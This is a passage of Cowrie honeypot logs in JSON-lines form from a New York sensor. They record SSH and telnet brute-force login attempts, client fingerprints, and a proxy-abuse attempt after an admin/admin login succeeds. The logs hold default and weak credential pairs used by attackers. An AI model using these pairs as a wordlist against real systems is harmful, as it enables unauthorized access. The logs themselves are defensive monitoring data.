16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:36.938497Z","src_ip":"193.32.162.145","session":"40232586a1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:37.377850Z","src_ip":"193.32.162.145","session":"40232586a1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:38.541664Z","src_ip":"193.32.162.145","session":"40232586a1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.876856565475464,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:42.539864Z","src_ip":"174.138.46.234","session":"bf257095569a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"431a29c65876","protocol":"ssh","message":"New connection: 181.123.136.11:60788 (10.17.0.5:22) [session: 431a29c65876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:44.306999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:44.311405Z","src_ip":"181.123.136.11","session":"431a29c65876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:44.488996Z","src_ip":"181.123.136.11","session":"431a29c65876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a@12345678","message":"login attempt [root/a@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:45.248002Z","src_ip":"181.123.136.11","session":"431a29c65876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.12019228935242,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:45.934078Z","src_ip":"174.138.46.234","session":"41c672eece7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:46.423095Z","src_ip":"181.123.136.11","session":"431a29c65876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.196.254.165","src_port":43634,"dst_ip":"159.203.135.109","dst_port":23,"session":"feec7ab65d45","protocol":"telnet","message":"New connection: 38.196.254.165:43634 (159.203.135.109:23) [session: feec7ab65d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:05.574022Z"}
{"eventid":"cowrie.session.closed","duration":14.259642839431763,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:19.833566Z","src_ip":"38.196.254.165","session":"feec7ab65d45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23358,"dst_ip":"10.17.0.5","dst_port":22,"session":"93155ed91491","protocol":"ssh","message":"New connection: 87.251.64.176:23358 (10.17.0.5:22) [session: 93155ed91491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:23.618581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:23.626391Z","src_ip":"87.251.64.176","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:23.722980Z","src_ip":"87.251.64.176","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:24.013154Z","src_ip":"87.251.64.176","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:24.111823Z","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:24.209908Z","src_ip":"87.251.64.176","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:24.308888Z","src_ip":"87.251.64.176","session":"93155ed91491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":52266,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9e06c7d681","protocol":"ssh","message":"New connection: 181.123.136.11:52266 (10.17.0.5:22) [session: 9b9e06c7d681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:52.271932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:52.283745Z","src_ip":"181.123.136.11","session":"9b9e06c7d681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:52.451191Z","src_ip":"181.123.136.11","session":"9b9e06c7d681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial@123","message":"login attempt [root/vicidial@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:53.196943Z","src_ip":"181.123.136.11","session":"9b9e06c7d681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:01:54.376485Z","src_ip":"181.123.136.11","session":"9b9e06c7d681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35196,"dst_ip":"10.17.0.5","dst_port":22,"session":"8647a5ad9e11","protocol":"ssh","message":"New connection: 193.32.162.145:35196 (10.17.0.5:22) [session: 8647a5ad9e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:02:57.222406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:02:57.227083Z","src_ip":"193.32.162.145","session":"8647a5ad9e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:02:57.334216Z","src_ip":"193.32.162.145","session":"8647a5ad9e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:02:57.825035Z","src_ip":"193.32.162.145","session":"8647a5ad9e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:02:58.965059Z","src_ip":"193.32.162.145","session":"8647a5ad9e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"48ede25434cb","protocol":"ssh","message":"New connection: 181.123.136.11:37780 (10.17.0.5:22) [session: 48ede25434cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:06.107615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:06.111582Z","src_ip":"181.123.136.11","session":"48ede25434cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:06.291047Z","src_ip":"181.123.136.11","session":"48ede25434cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali1234","message":"login attempt [ali/ali1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:07.036456Z","src_ip":"181.123.136.11","session":"48ede25434cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:08.223169Z","src_ip":"181.123.136.11","session":"48ede25434cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36610,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd16933a079","protocol":"ssh","message":"New connection: 87.251.64.176:36610 (10.17.0.5:22) [session: 6dd16933a079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.242007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.247103Z","src_ip":"87.251.64.176","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.344558Z","src_ip":"87.251.64.176","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.639277Z","src_ip":"87.251.64.176","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.739925Z","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.838125Z","src_ip":"87.251.64.176","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:03:57.937745Z","src_ip":"87.251.64.176","session":"6dd16933a079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":55866,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c346f00e8c","protocol":"ssh","message":"New connection: 181.123.136.11:55866 (10.17.0.5:22) [session: 03c346f00e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:04:15.306133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:04:15.319501Z","src_ip":"181.123.136.11","session":"03c346f00e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:04:15.521526Z","src_ip":"181.123.136.11","session":"03c346f00e8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dg123456!","message":"login attempt [root/Dg123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:04:16.411166Z","src_ip":"181.123.136.11","session":"03c346f00e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:04:17.598436Z","src_ip":"181.123.136.11","session":"03c346f00e8c","protocol":"ssh"}
